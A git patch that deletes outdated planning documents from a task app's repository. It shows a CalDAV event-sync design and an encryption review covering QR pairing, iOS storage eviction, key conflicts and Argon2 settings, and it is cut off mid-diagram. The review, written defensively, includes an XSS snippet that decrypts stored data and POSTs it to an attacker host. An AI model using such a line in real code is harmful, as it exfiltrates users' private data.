From 0d1869263f97cfebce1dd3a5b2ee6926914bec6f Mon Sep 17 00:00:00 2001 From: Johannes Millan Date: Mon, 8 Jun 2026 11:06:29 +0200 Subject: [PATCH] docs: remove outdated and implemented plan docs Delete 29 plan/design docs whose work has shipped or been superseded (SuperSync slices, sync-core extraction, encryption-at-rest drafts, document-mode/Stage-A persistence, calendar/CalDAV concepts, focus-mode time-tracking sync, etc.). Kept the still-forward-looking docs (e.g. supersync-encryption-at-rest, sync-core-simplification-roadmap, calendar-two-way-sync-technical-analysis). Source comments that cited deleted docs are rewritten into self-contained inline rationale so no "see docs/..." reference dangles. --- .../caldav-vevent-expansion-design.md | 258 --- .../e2e-encryption-CRITICAL-ISSUES.md | 427 ----- .../e2e-encryption-architecture-diagrams.md | 495 ------ .../e2e-encryption-device-keys-DRAFT.md | 827 --------- .../electron-upgrade-to-v40.md | 545 ------ .../google-calendar-integration-concept.md | 190 -- .../google-calendar-provider-design.md | 217 --- .../ios-dropbox-sync-reliability.md | 139 -- .../long-term-plans/jwt-derived-encryption.md | 351 ---- .../sync-core-extraction-plan.md | 1530 ----------------- .../2026-04-21-schedule-week-range-header.md | 561 ------ ...026-04-29-focus-mode-time-tracking-sync.md | 153 -- docs/plans/2026-05-12-pr5-dropbox-slice.md | 1074 ------------ docs/plans/2026-05-12-pr5-webdav-slice.md | 578 ------- docs/plans/2026-05-12-pr7-super-sync-slice.md | 741 -------- ...6-05-13-extract-encryption-to-sync-core.md | 658 ------- .../2026-05-14-super-sync-server-perf.md | 296 ---- ...-concurrently-migration-recovery-design.md | 195 --- ...6-05-15-super-sync-server-decomposition.md | 215 --- ...-sync-docs-and-contributor-model-design.md | 217 --- .../2026-05-21-document-mode-tiptap-plugin.md | 165 -- .../2026-05-22-clientid-migrate-to-sup-ops.md | 491 ------ ...026-05-22-document-mode-sync-data-model.md | 210 --- ...2026-05-22-supops-single-connection-alt.md | 197 --- .../2026-05-22-supops-single-connection.md | 261 --- .../2026-05-23-persisted-data-update-hook.md | 493 ------ ...-05-23-stage-a-keyed-plugin-persistence.md | 357 ---- ...2026-05-27-ios-background-time-tracking.md | 185 -- ...-fresh-client-first-sync-data-loss-trap.md | 270 --- .../recurring-events-implementation-plan.md | 2 +- .../auto-start-focus-on-play.spec.ts | 11 +- .../plugin-dev/doc-mode/src/persistence.ts | 3 +- .../src/file-based/dropbox/dropbox-api.ts | 1 - .../op-log/core/errors/sync-errors.spec.ts | 2 +- src/app/op-log/core/errors/sync-errors.ts | 4 +- .../plugin-user-persistence.service.ts | 4 +- 36 files changed, 12 insertions(+), 12311 deletions(-) delete mode 100644 docs/long-term-plans/caldav-vevent-expansion-design.md delete mode 100644 docs/long-term-plans/e2e-encryption-CRITICAL-ISSUES.md delete mode 100644 docs/long-term-plans/e2e-encryption-architecture-diagrams.md delete mode 100644 docs/long-term-plans/e2e-encryption-device-keys-DRAFT.md delete mode 100644 docs/long-term-plans/electron-upgrade-to-v40.md delete mode 100644 docs/long-term-plans/google-calendar-integration-concept.md delete mode 100644 docs/long-term-plans/google-calendar-provider-design.md delete mode 100644 docs/long-term-plans/ios-dropbox-sync-reliability.md delete mode 100644 docs/long-term-plans/jwt-derived-encryption.md delete mode 100644 docs/long-term-plans/sync-core-extraction-plan.md delete mode 100644 docs/plans/2026-04-21-schedule-week-range-header.md delete mode 100644 docs/plans/2026-04-29-focus-mode-time-tracking-sync.md delete mode 100644 docs/plans/2026-05-12-pr5-dropbox-slice.md delete mode 100644 docs/plans/2026-05-12-pr5-webdav-slice.md delete mode 100644 docs/plans/2026-05-12-pr7-super-sync-slice.md delete mode 100644 docs/plans/2026-05-13-extract-encryption-to-sync-core.md delete mode 100644 docs/plans/2026-05-14-super-sync-server-perf.md delete mode 100644 docs/plans/2026-05-15-generic-concurrently-migration-recovery-design.md delete mode 100644 docs/plans/2026-05-15-super-sync-server-decomposition.md delete mode 100644 docs/plans/2026-05-15-sync-docs-and-contributor-model-design.md delete mode 100644 docs/plans/2026-05-21-document-mode-tiptap-plugin.md delete mode 100644 docs/plans/2026-05-22-clientid-migrate-to-sup-ops.md delete mode 100644 docs/plans/2026-05-22-document-mode-sync-data-model.md delete mode 100644 docs/plans/2026-05-22-supops-single-connection-alt.md delete mode 100644 docs/plans/2026-05-22-supops-single-connection.md delete mode 100644 docs/plans/2026-05-23-persisted-data-update-hook.md delete mode 100644 docs/plans/2026-05-23-stage-a-keyed-plugin-persistence.md delete mode 100644 docs/plans/2026-05-27-ios-background-time-tracking.md delete mode 100644 docs/plans/2026-06-03-fresh-client-first-sync-data-loss-trap.md diff --git a/docs/long-term-plans/caldav-vevent-expansion-design.md b/docs/long-term-plans/caldav-vevent-expansion-design.md deleted file mode 100644 index 1aed088da4..0000000000 --- a/docs/long-term-plans/caldav-vevent-expansion-design.md +++ /dev/null @@ -1,258 +0,0 @@ -# CalDAV VEVENT Expansion — Design Document - -> **Status: Implemented — via a separate bundled plugin, not by extending the core provider.** -> -> Two-way **VEVENT** sync and task→event **time-blocking** shipped in the bundled **"CalDAV Events"** -> plugin (`packages/plugin-dev/caldav-calendar-provider`), a `type: 'issueProvider'` plugin with -> `searchIssues`/`getById`/`createIssue`/`updateIssue`/`deleteIssue`, an iCal VEVENT builder plus an -> RRULE/EXDATE/RECURRENCE-ID-aware reader, PROPFIND calendar discovery, and a working -> `timeBlock.upsertEvent`/`deleteEvent` (default `pollIntervalMs: 60000`; `allowPrivateNetwork: true` -> for self-hosters). The **core** CalDAV provider (`src/app/features/issue/providers/caldav/`) remains -> **VTODO-only**, so a self-hosted household configures the same server twice — the core provider for -> shared tasks and the bundled plugin for shared events. The original "extend the existing CalDAV -> provider" approach described below was therefore **not** the path taken; this document is retained for -> design history. - -## Overview - -Extend the existing CalDAV provider to support VEVENT (calendar events) alongside VTODO (tasks). This gives self-hosted calendar users (Nextcloud, Radicale, Baikal, Fastmail) two-way event sync with no new auth infrastructure — the same basic auth that already works for VTODOs. - -## Motivation - -- **Privacy-first users** often self-host calendars via CalDAV. This is the highest-value, lowest-complexity path to calendar sync for that audience. -- **No new auth complexity** — basic auth over HTTPS, already implemented. -- **No external dependencies** — no OAuth, no auth proxy, no Google app verification. -- **Library support exists** — `@nextcloud/cdav-library` already supports `findByType('VEVENT')` and `findByTypeInTimeRange('VEVENT', from, to)`. `ical.js` is already used for parsing. -- **Complementary to Google Calendar** — serves the self-hosted segment while Google Calendar (separate provider, OAuth-based) serves mainstream users. - -## Decisions - -| Decision | Choice | Rationale | -| ----------------- | ----------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- | -| Provider approach | Extend existing CalDAV provider | Single provider handles both VTODOs and VEVENTs from the same server connection | -| Event behavior | Configurable per-provider: banners (default) or auto-import as tasks | Matches user request; reuses existing `isAutoImportForCurrentDay` pattern from ICAL provider | -| Data model | Reuse `CalendarIntegrationEvent` + CalDAV-specific wrapper for etag/URL | Shares display layer with ICAL provider; adds sync metadata for write-back | -| Auth | Same basic auth as VTODO — no changes | Already works, already implemented | -| Sync direction | Two-way (configurable per field, like VTODO) | Consistent with existing CalDAV sync behavior | - ---- - -## Current State - -### What Exists - -**CalDAV provider** (`src/app/features/issue/providers/caldav/`): - -- Two-way VTODO sync with basic auth -- Uses `@nextcloud/cdav-library` + `ical.js` -- Sync adapter pattern: `CaldavSyncAdapterService` implements `IssueSyncAdapter` -- Field-level sync direction config (`SyncDirection = 'off' | 'pullOnly' | 'pushOnly' | 'both'`) -- ETag-based change detection (hashed to 32-bit int for numeric comparison) -- Client/calendar caching per connection - -**ICAL provider** (`src/app/features/issue/providers/calendar/`): - -- Read-only VEVENT display from `.ics` URLs -- `CalendarIntegrationEvent` model: `{ id, calProviderId, title, description, start, duration, isAllDay }` -- `isAutoImportForCurrentDay` flag for auto-creating tasks from events -- Banner notifications for upcoming events (`showBannerBeforeThreshold`) -- Full RFC 5545 support: recurring events (RRULE), EXDATE, RECURRENCE-ID overrides - -### What's Missing - -- CalDAV VEVENT queries (library supports it, code doesn't use it) -- VEVENT parsing in CalDAV client (currently only parses `vtodo` subcomponent) -- Calendar event display from CalDAV sources (only from `.ics` URLs) -- Write-back for VEVENTs (updating event status/fields on CalDAV server) - ---- - -## Architecture - -### Config Model Extension - -```typescript -// Existing CaldavCfg, extended: -interface CaldavCfg extends BaseIssueProviderCfg { - caldavUrl: string | null; - resourceName: string | null; - username: string | null; - password: string | null; - categoryFilter: string | null; - - // Existing VTODO sync - twoWaySync?: CaldavTwoWaySyncCfg; - - // New VEVENT support - includeEvents?: boolean; // Enable VEVENT fetching (default: false) - eventBehavior?: 'banners' | 'auto-import'; // How events appear in SP - eventTwoWaySync?: CaldavEventTwoWaySyncCfg; // Field-level sync for events - showBannerBeforeThreshold?: number | null; // Minutes before event to show banner - eventCheckInterval?: number; // Poll interval for events (ms) -} - -interface CaldavEventTwoWaySyncCfg { - title?: SyncDirection; - description?: SyncDirection; - // VEVENTs don't have "completed" — status is confirmed/tentative/cancelled - // Mapping: task done → event cancelled (configurable) - markDoneAs?: 'cancelled' | 'none'; -} -``` - -### VEVENT Data Model - -```typescript -// Extends CalendarIntegrationEvent with CalDAV sync metadata -interface CaldavCalendarEvent extends CalendarIntegrationEvent { - etag_hash: number; // For change detection (same pattern as VTODO) - item_url: string; // CalDAV object URL for write-back - status?: 'CONFIRMED' | 'TENTATIVE' | 'CANCELLED'; - location?: string; - categories?: string[]; -} -``` - -### Data Flow - -``` -CalDAV Server - ↕ (Basic Auth, same connection as VTODOs) -CaldavClientService - ├── _getAllTodos() → existing VTODO flow → tasks - └── _getAllEvents() → NEW VEVENT flow: - ↓ - CalendarIntegrationEvent[] - ↓ - ┌───────────────────────┐ - │ eventBehavior config │ - ├───────────────────────┤ - │ 'banners' → display as timeline banners (like ICAL provider) - │ 'auto-import' → create tasks from events (like isAutoImportForCurrentDay) - └───────────────────────┘ - ↓ (if task created and two-way sync enabled) - CaldavEventSyncAdapter → writes status changes back to server -``` - -### Changes to CaldavClientService - -New methods (parallel to existing VTODO methods): - -```typescript -// Query VEVENTs from CalDAV server -_getAllEvents(calendar, timeRangeStart, timeRangeEnd): CaldavCalendarEvent[] - -// Parse a VEVENT from ical.js component -_mapEvent(veventObject): CaldavCalendarEvent - -// Update a VEVENT on the server -_updateEvent(cfg, event, changes): Promise -``` - -The existing `findByTypeInTimeRange('VEVENT', from, to)` method on the calendar object handles the CalDAV REPORT query. No new protocol code needed. - -### New Sync Adapter - -`CaldavEventSyncAdapterService` implements `IssueSyncAdapter`: - -```typescript -CALDAV_EVENT_FIELD_MAPPINGS = [ - { spField: 'title', issueField: 'summary', label: 'Title' }, - { spField: 'notes', issueField: 'description', label: 'Description' }, - // No direct 'isDone' mapping — VEVENTs use status: CONFIRMED/CANCELLED -]; -``` - -When a user marks a task (created from a VEVENT) as done: - -- If `markDoneAs === 'cancelled'`: set VEVENT `STATUS` to `CANCELLED` -- If `markDoneAs === 'none'`: don't write back done status - -### Integration with CalendarIntegrationEffects - -The existing `CalendarIntegrationEffects.pollChanges$` currently only handles ICAL providers. It needs to also poll CalDAV providers that have `includeEvents: true`: - -1. On timer (per `eventCheckInterval`), call `CaldavClientService._getAllEvents()` for the relevant time window -2. Emit `CalendarIntegrationEvent[]` through the same display pipeline as ICAL events -3. If `eventBehavior === 'auto-import'`, create tasks (reusing existing `isAutoImportForCurrentDay` logic) -4. Show banner notifications (reusing existing threshold logic) - ---- - -## VEVENT ↔ VTODO: How They Coexist - -A single CalDAV provider instance connects to one calendar resource. That resource may contain both VTODOs and VEVENTs. The provider handles both: - -| Aspect | VTODOs (existing) | VEVENTs (new) | -| ---------------- | ------------------------------------------------- | ---------------------------------------------------- | -| Queried as | `calendar.calendarQuery()` with VTODO comp-filter | `calendar.findByTypeInTimeRange('VEVENT', from, to)` | -| Displayed as | Tasks in backlog/today list | Calendar banners or imported tasks | -| Two-way fields | isDone, title, notes | title, description, done→cancelled | -| Change detection | ETag hash | ETag hash (same mechanism) | -| Time window | All open todos (no time filter) | Current day/week (configurable) | - ---- - -## What Does NOT Sync - -- Attendees (SP has no concept of event participants) -- Reminders/alarms (SP has its own notification system) -- Recurrence rules (complex — recurring instances are displayed but recurrence editing is out of scope) -- Attachments -- SP-specific fields: sub-tasks, time tracking, tags, priorities, estimates - ---- - -## Implementation Phases - -### Phase 1: Read-Only VEVENT Import - -- Add `_getAllEvents()` and `_mapEvent()` to `CaldavClientService` -- Extend `CaldavCfg` with `includeEvents` flag -- Feed VEVENTs into `CalendarIntegrationEvent` display pipeline -- Support banner notifications and `auto-import` behavior -- Settings UI: checkbox to enable events, behavior selector - -### Phase 2: Two-Way VEVENT Sync - -- Add `CaldavEventSyncAdapterService` -- Register it in the two-way sync effects alongside the existing VTODO adapter -- Support title/description write-back and done→cancelled mapping -- ETag-based conflict detection (same as VTODO) - -### Phase 3: Enhanced Event Features (Future) - -- Time-range configuration (how far ahead to fetch events) -- Category/calendar filtering for events -- Location display in event banners -- Recurring event handling improvements - ---- - -## Relationship to Other Calendar Work - -| Provider | Target Users | Auth | API | Status | -| ---------------------------------- | ----------------------------- | ------------------------ | ----------- | ---------------- | -| **ICAL** (existing) | Anyone with a public .ics URL | None | HTTP GET | Done (read-only) | -| **CalDAV VTODO** (existing) | Self-hosted calendar users | Basic auth | CalDAV | Done (two-way) | -| **CalDAV VEVENT** (this doc) | Self-hosted calendar users | Basic auth | CalDAV | Planned | -| **Google Calendar** (separate doc) | Mainstream users | OAuth 2.0 (hybrid proxy) | REST API v3 | Planned | - -CalDAV VEVENT and Google Calendar are complementary: - -- CalDAV VEVENT serves privacy-focused, self-hosted users with zero auth overhead -- Google Calendar serves mainstream users who need OAuth infrastructure -- Both share the `CalendarIntegrationEvent` display layer and configurable import behavior - ---- - -## References - -- Existing CalDAV provider: `src/app/features/issue/providers/caldav/` -- Existing ICAL provider: `src/app/features/issue/providers/calendar/` -- Calendar integration effects: `src/app/features/calendar-integration/calendar-integration.effects.ts` -- Calendar integration model: `src/app/features/calendar-integration/calendar-integration.model.ts` -- Two-way sync adapter interface: `src/app/features/issue/two-way-sync/issue-sync-adapter.interface.ts` -- Two-way sync effects: `src/app/features/issue/two-way-sync/issue-two-way-sync.effects.ts` -- Google Calendar provider design: `docs/long-term-plans/google-calendar-provider-design.md` -- General calendar sync analysis: `docs/long-term-plans/calendar-two-way-sync-technical-analysis.md` diff --git a/docs/long-term-plans/e2e-encryption-CRITICAL-ISSUES.md b/docs/long-term-plans/e2e-encryption-CRITICAL-ISSUES.md deleted file mode 100644 index 41c103ade9..0000000000 --- a/docs/long-term-plans/e2e-encryption-CRITICAL-ISSUES.md +++ /dev/null @@ -1,427 +0,0 @@ -# E2E Encryption Implementation - Critical Issues Summary - -> **Status: Archived — Reference Only** -> -> Documents blockers in the rejected device-key approach. Kept for historical context. - -## ⚠️ DO NOT IMPLEMENT WITHOUT ADDRESSING THESE ISSUES - -This document summarizes the **critical blockers** identified by 5 independent agent reviews of the device-generated key encryption plan. - ---- - -## 🔴 BLOCKER #1: Non-Extractable Key Contradiction - -**Location:** `e2e-encryption-device-keys-DRAFT.md` Lines 194-218 - -**Issue:** - -```typescript -// Plan creates keys as non-extractable -const key = await crypto.subtle.generateKey( - { name: 'AES-GCM', length: 256 }, - false, // ❌ non-extractable - ['encrypt', 'decrypt'] -); - -// But then tries to export for cloud backup -async exportKeyForBackup(): Promise { - return crypto.subtle.exportKey('raw', key); // ❌ WILL FAIL! -} -``` - -**Why This Breaks:** - -- WebCrypto spec: non-extractable keys **cannot** be exported -- `exportKey()` will throw `InvalidAccessError` -- Cloud backup feature will be completely broken - -**Fix:** - -```typescript -// Keys MUST be extractable when cloud backup enabled -const extractable = userWantsCloudBackup ? true : false; -const key = await crypto.subtle.generateKey( - { name: 'AES-GCM', length: 256 }, - extractable, // ✅ conditional based on user choice - ['encrypt', 'decrypt'], -); -``` - -**Impact:** **CRITICAL - Entire cloud backup feature broken** - -**Estimated Fix Time:** 2 days (design + implementation + tests) - ---- - -## 🔴 BLOCKER #2: QR Code Security Completely Unspecified - -**Location:** `e2e-encryption-device-keys-DRAFT.md` Lines 104-116 - -**Issue:** -Plan says "QR code containing encrypted master key" but: - -- ❌ No specification of HOW it's encrypted -- ❌ No key exchange protocol defined -- ❌ No MITM protection -- ❌ No visual verification - -**What Could Go Wrong:** - -``` -Scenario: MITM Attack -1. User tries to pair new device -2. Attacker intercepts QR display (screen share malware) -3. Attacker shows own QR code -4. User scans attacker's QR → master key compromised -5. Attacker decrypts all data -``` - -**Industry Standard: WhatsApp's ECDH Pairing** - -```typescript -// 1. Primary device generates ephemeral ECDH key pair -const primaryKeypair = await crypto.subtle.generateKey( - { name: 'ECDH', namedCurve: 'P-256' }, - true, - ['deriveKey'] -); - -// 2. QR code contains PUBLIC key only (safe) -const qrPayload = { - publicKey: await crypto.subtle.exportKey('spki', primaryKeypair.publicKey), - sessionId: generateSessionId(), -}; - -// 3. New device generates own ECDH key pair -const newDeviceKeypair = await crypto.subtle.generateKey(...); - -// 4. Both devices derive shared session key (ECDH magic) -const sessionKey = await crypto.subtle.deriveKey( - { name: 'ECDH', public: otherDevicePublicKey }, - ownPrivateKey, - { name: 'AES-GCM', length: 256 }, - false, - ['encrypt', 'decrypt'] -); - -// 5. Primary encrypts master key with session key -const encryptedMasterKey = await crypto.subtle.encrypt( - { name: 'AES-GCM', iv: randomIV }, - sessionKey, - masterKey -); - -// 6. Visual verification (6-digit code on both devices) -const verificationCode = await calculateFingerprint( - primaryPublicKey, - newDevicePublicKey -); -// User confirms codes match → prevents MITM -``` - -**Impact:** **CRITICAL - QR pairing completely insecure** - -**Estimated Fix Time:** 5 days (protocol design + server coordination + UI + tests) - ---- - -## 🔴 BLOCKER #3: iOS Safari 7-Day Data Loss - -**Location:** Not addressed in plan - -**Issue:** -iOS Safari **automatically deletes** all IndexedDB data after 7 days of inactivity. - -**Evidence:** - -- Apple Developer Documentation: "Safari on iOS deletes non-persistent IndexedDB after 7 days" -- Affects **30% of mobile users** (Safari mobile market share) -- Cannot be prevented by JavaScript APIs - -**Real-World Impact:** - -``` -Day 1: User sets up encryption on iPhone -Day 8: User opens app (hasn't used in 7 days) -Result: IndexedDB deleted → encryption key GONE → ALL DATA LOST -``` - -**Current Plan:** Optional recovery password (user can skip) -**Problem:** Users who skip lose ALL DATA after 7 days - -**Fix: Platform-Specific Recovery Requirements** - -```typescript -// Detect iOS Safari -const isIOSSafari = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream; - -if (isIOSSafari) { - // REQUIRE recovery password on iOS (not optional) - const password = await showRecoveryPasswordDialog({ - canSkip: false, // ❌ No skip button on iOS - message: 'iOS Safari may delete local data. Recovery password required.', - }); -} else { - // Desktop: Optional recovery password - const password = await showRecoveryPasswordDialog({ - canSkip: true, // ✅ Can skip on desktop - }); -} -``` - -**Alternative:** Use Capacitor native storage on mobile - -```typescript -if (IS_CAPACITOR) { - // Store key in native iOS Keychain (survives 7-day deletion) - await Preferences.set({ - key: 'encryption-master-key', - value: await exportKey(masterKey), - }); -} -``` - -**Impact:** **CRITICAL - 30% of users will lose all data** - -**Estimated Fix Time:** 3 days (detection + mandatory flow + testing on real iOS devices) - ---- - -## 🔴 BLOCKER #4: Key Conflict Data Loss - -**Location:** Server API design (`packages/super-sync-server/src/key-backup/`) - -**Issue:** -Two devices can upload different encryption keys simultaneously: - -``` -Device A (11:00:00): Uploads KeyA to server -Device B (11:00:01): Uploads KeyB to server (overwrites KeyA) -Result: Device A can no longer decrypt Device B's data -``` - -**Current Plan:** Simple upsert (last-write-wins) - -```typescript -await prisma.keyBackup.upsert({ - where: { userId }, - create: { userId, encryptedKey, salt }, - update: { encryptedKey, salt }, // ❌ Blindly overwrites -}); -``` - -**Fix: Conflict Detection + User Resolution** - -```typescript -// Server-side conflict detection -fastify.post('/api/key-backup', async (req, reply) => { - const { userId } = req.user; - const { encryptedKey, salt, deviceId } = req.body; - - const existing = await prisma.keyBackup.findUnique({ - where: { userId }, - }); - - if (existing && existing.deviceId !== deviceId) { - // CONFLICT: Different device uploaded key - return reply.code(409).send({ - error: 'KEY_CONFLICT', - message: 'Another device has uploaded a different encryption key', - existingDeviceId: existing.deviceId, - }); - } - - // Safe to upsert - await prisma.keyBackup.upsert(...); -}); - -// Client-side conflict resolution -try { - await uploadKeyBackup(...); -} catch (err) { - if (err.status === 409) { - // Show user choice dialog - const choice = await showDialog({ - title: 'Key Conflict Detected', - message: 'Another device has uploaded a different encryption key. Choose:', - options: [ - 'Use This Device\'s Key (Other Device Will Lose Data)', - 'Download Other Device\'s Key (This Device Loses Data)', - 'Cancel Setup', - ], - }); - - if (choice === 0) { - await uploadKeyBackup({ force: true }); // Overwrite - } else if (choice === 1) { - await downloadKeyBackup(); // Import other key - } - } -} -``` - -**Impact:** **CRITICAL - Silent data loss in multi-device setups** - -**Estimated Fix Time:** 3 days (server conflict detection + client resolution UI + tests) - ---- - -## 🟡 HIGH PRIORITY: Weak Argon2id Parameters - -**Location:** `e2e-encryption-device-keys-DRAFT.md` Lines 285-290 - -**Issue:** - -```typescript -const kek = await Argon2id.hash(recoveryPassword, { - salt, - iterations: 3, // ❌ Minimum (2019 standard) - memory: 64 * 1024, // ❌ 64 MB (minimum) - hashLength: 32, -}); -``` - -**OWASP 2024 Recommendations:** - -- Minimum: 64 MB, 3 iterations (2019) -- **Recommended: 256 MB, 4 iterations** (2025) -- High-security: 512 MB, 4 iterations - -**Attack Cost Analysis:** - -| Password | Current (64MB, 3 iter) | Recommended (256MB, 4 iter) | -| ------------- | ---------------------- | --------------------------- | -| 8-char simple | 1 day = $2.40 | 5 days = $12 | -| 10-char mixed | 2 years = $1,750 | 10 years = $8,750 | - -**Fix:** - -```typescript -const kek = await Argon2id.hash(recoveryPassword, { - salt, - iterations: 4, // ✅ +1 iteration - memory: 256 * 1024, // ✅ 4x stronger - parallelism: 2, // Mobile-friendly - hashLength: 32, -}); -``` - -**Mobile Consideration:** - -```typescript -// Adaptive parameters for low-end devices -const memory = IS_LOW_END_MOBILE ? 128 * 1024 : 256 * 1024; -const iterations = IS_LOW_END_MOBILE ? 3 : 4; -``` - -**Impact:** **HIGH - Weak passwords vulnerable to brute-force** - -**Estimated Fix Time:** 1 day (parameter update + mobile detection + tests) - ---- - -## 🟡 HIGH PRIORITY: False XSS Protection Claims - -**Location:** `e2e-encryption-device-keys-DRAFT.md` Lines 43, 196, 662 - -**Issue:** -Plan claims "non-extractable keys protect against XSS" - -**This is FALSE:** - -```javascript -// XSS payload CAN still do this: -const key = await indexedDB.getKey('master'); -const plaintext = await crypto.subtle.decrypt( - { name: 'AES-GCM', iv }, - key, - encryptedData, -); -fetch('https://attacker.com', { method: 'POST', body: plaintext }); // ❌ Data stolen -``` - -**What Non-Extractable Actually Prevents:** - -- ✅ Prevents: `crypto.subtle.exportKey('raw', key)` (exporting raw bytes) -- ❌ Does NOT prevent: Using key for encrypt/decrypt operations -- ❌ Does NOT prevent: XSS attacks - -**Real XSS Protections:** - -```html - - - - - -``` - -**Fix:** - -1. Remove misleading comments about XSS protection -2. Add honest threat model: "XSS can access plaintext via encrypt/decrypt APIs" -3. Implement real CSP + SRI protections - -**Impact:** **HIGH - Users misunderstand security guarantees** - -**Estimated Fix Time:** 1 day (documentation + CSP/SRI setup) - ---- - -## Summary: Phase 0 Critical Fixes Required - -**BEFORE ANY IMPLEMENTATION:** - -| Issue | Severity | Fix Time | Blockers Implementation? | -| ------------------- | -------- | -------- | ------------------------ | -| Non-extractable key | BLOCKER | 2 days | ✅ YES | -| QR security gap | BLOCKER | 5 days | ✅ YES | -| iOS 7-day data loss | BLOCKER | 3 days | ✅ YES | -| Key conflicts | BLOCKER | 3 days | ✅ YES | -| Weak Argon2id | HIGH | 1 day | ⚠️ RECOMMENDED | -| XSS misconception | HIGH | 1 day | ⚠️ RECOMMENDED | - -**Total Phase 0 Time:** 15 days (3 weeks) - -**Revised Implementation Timeline:** - -- Phase 0: Critical fixes (3 weeks) -- Phase 1-6: Original plan (12 weeks) -- **Total: 15 weeks** (was 12) - ---- - -## Confidence Assessment - -**Before Agent Review:** 85% -**After Agent Review:** 50% -**After Phase 0 Fixes:** Projected 85% - -**Recommendation:** **DO NOT proceed** without Phase 0 fixes. All 4 blockers will cause: - -- Complete feature breakage (non-extractable) -- Security vulnerabilities (QR MITM) -- Data loss (iOS eviction, key conflicts) - ---- - -## Related Documents - -- Full revised plan: `docs/long-term-plans/e2e-encryption-device-keys-DRAFT.md` -- Agent review reports: `/home/johannes/.claude/plans/dapper-riding-seahorse-agent-*.md` -- Security review: Agent a5dd02f (comprehensive threat analysis) -- Performance review: Agent a526436 (WebCrypto benchmarks) - ---- - -**Document Status:** DRAFT - Critical Issues Summary -**Last Updated:** 2026-01-23 -**Next Review:** After Phase 0 fixes implemented diff --git a/docs/long-term-plans/e2e-encryption-architecture-diagrams.md b/docs/long-term-plans/e2e-encryption-architecture-diagrams.md deleted file mode 100644 index bc92276a0b..0000000000 --- a/docs/long-term-plans/e2e-encryption-architecture-diagrams.md +++ /dev/null @@ -1,495 +0,0 @@ -# E2E Encryption Architecture Diagrams - -> **Status: Archived — Reference Only** -> -> Comparative analysis of encryption approaches. Password-based encryption was chosen and implemented December 2025. - -This document provides visual architecture diagrams comparing the current password-based encryption, the proposed device-key approach, and the recommended improvements. - ---- - -## 1. Current Password-Based Encryption (Existing Implementation) - -```mermaid -graph TD - subgraph "Client Device" - A[User enters password] --> B[Argon2id KDF
64MB, 3 iterations] - B --> C[Derived AES-256 Key
Not stored, computed on demand] - D[Operation Created] --> E[OperationEncryptionService] - C --> E - E --> F[Encrypt with AES-GCM
Random IV per operation] - F --> G[Encrypted Operation
isPayloadEncrypted: true] - end - - subgraph "Network" - G -->|HTTPS| H[Upload to Server] - end - - subgraph "SuperSync Server" - H --> I[Store Encrypted Blob
Cannot decrypt] - I --> J[Operation Database
Prisma + PostgreSQL] - end - - subgraph "Other Device" - J -->|HTTPS| K[Download Encrypted Ops] - K --> L[User enters same password] - L --> M[Argon2id KDF
Same params] - M --> N[Derived same AES-256 Key] - N --> O[OperationEncryptionService] - K --> O - O --> P[Decrypt Operations] - P --> Q[Apply to Local State] - end - - style C fill:#90EE90 - style N fill:#90EE90 - style I fill:#FFB6C1 - style J fill:#FFB6C1 - - classDef secure fill:#90EE90,stroke:#006400,stroke-width:2px - classDef untrusted fill:#FFB6C1,stroke:#8B0000,stroke-width:2px -``` - -**Key Properties:** - -- ✅ Same password derives same key on all devices -- ✅ Key never stored, always computed from password -- ✅ Survives IndexedDB deletion (re-derive from password) -- ✅ Server has zero knowledge of key or plaintext -- ⚠️ Password required on every device - ---- - -## 2. Proposed Device-Key Approach (From Draft Plan) - -```mermaid -graph TD - subgraph "Primary Device" - A1[First Setup] --> B1[Generate Random 256-bit Key
WebCrypto API] - B1 --> C1{User chooses:
Recovery password?} - C1 -->|Yes| D1[User enters password] - C1 -->|No - Skip| E1[⚠️ No recovery
Data loss risk] - D1 --> F1[Argon2id KDF] - F1 --> G1[Encrypt key with KEK] - G1 --> H1[Upload encrypted key
to server] - B1 --> I1[Store key in IndexedDB
⚠️ iOS deletes after 7 days] - I1 --> J1[Encrypt operations] - end - - subgraph "Server Issues" - H1 --> K1{Key conflict?
❌ Not detected} - K1 -->|Device A uploads| L1[KeyA stored] - K1 -->|Device B uploads| M1[KeyB overwrites
💥 Data loss] - end - - subgraph "New Device - QR Pairing" - N1[Scan QR from primary] --> O1{❌ Security gap:
MITM protection?} - O1 --> P1[Receive master key
⚠️ Vulnerable to interception] - P1 --> Q1[Store in IndexedDB
⚠️ iOS 7-day eviction] - end - - subgraph "New Device - Recovery Password" - R1[User enters password] --> S1[Download encrypted key] - S1 --> T1[Decrypt with KEK] - T1 --> U1[Store in IndexedDB
⚠️ iOS 7-day eviction] - end - - subgraph "iOS Safari - 7 Days Later" - I1 -.7 days.-> V1[💥 IndexedDB auto-deleted] - Q1 -.7 days.-> V1 - U1 -.7 days.-> V1 - V1 --> W1[All data lost
if no recovery password] - end - - style M1 fill:#FF6B6B - style V1 fill:#FF6B6B - style W1 fill:#FF6B6B - style O1 fill:#FFD93D - style K1 fill:#FFD93D - - classDef critical fill:#FF6B6B,stroke:#8B0000,stroke-width:3px - classDef warning fill:#FFD93D,stroke:#FF8C00,stroke-width:2px -``` - -**Critical Issues:** - -- 🔴 **Blocker #1:** Non-extractable key contradiction (cannot export for backup) -- 🔴 **Blocker #2:** QR pairing has no MITM protection -- 🔴 **Blocker #3:** iOS Safari deletes IndexedDB after 7 days -- 🔴 **Blocker #4:** Key conflicts cause silent data loss - ---- - -## 3. Recommended Improved Architecture (3-Phase Plan) - -### Phase 1: Security Hardening (1 week) - -```mermaid -graph TD - A[User enters password
≥12 characters] --> B{zxcvbn
Strength check} - B -->|Weak| C[❌ Reject password
Suggest improvement] - B -->|Strong| D[Argon2id KDF
✅ 256MB, 4 iterations
⬆️ OWASP 2024] - D --> E[Derived AES-256 Key
5x stronger vs brute-force] - E --> F[Encrypt operations] - - subgraph "XSS Protection - NEW" - G[Content Security Policy] --> H[script-src 'self'
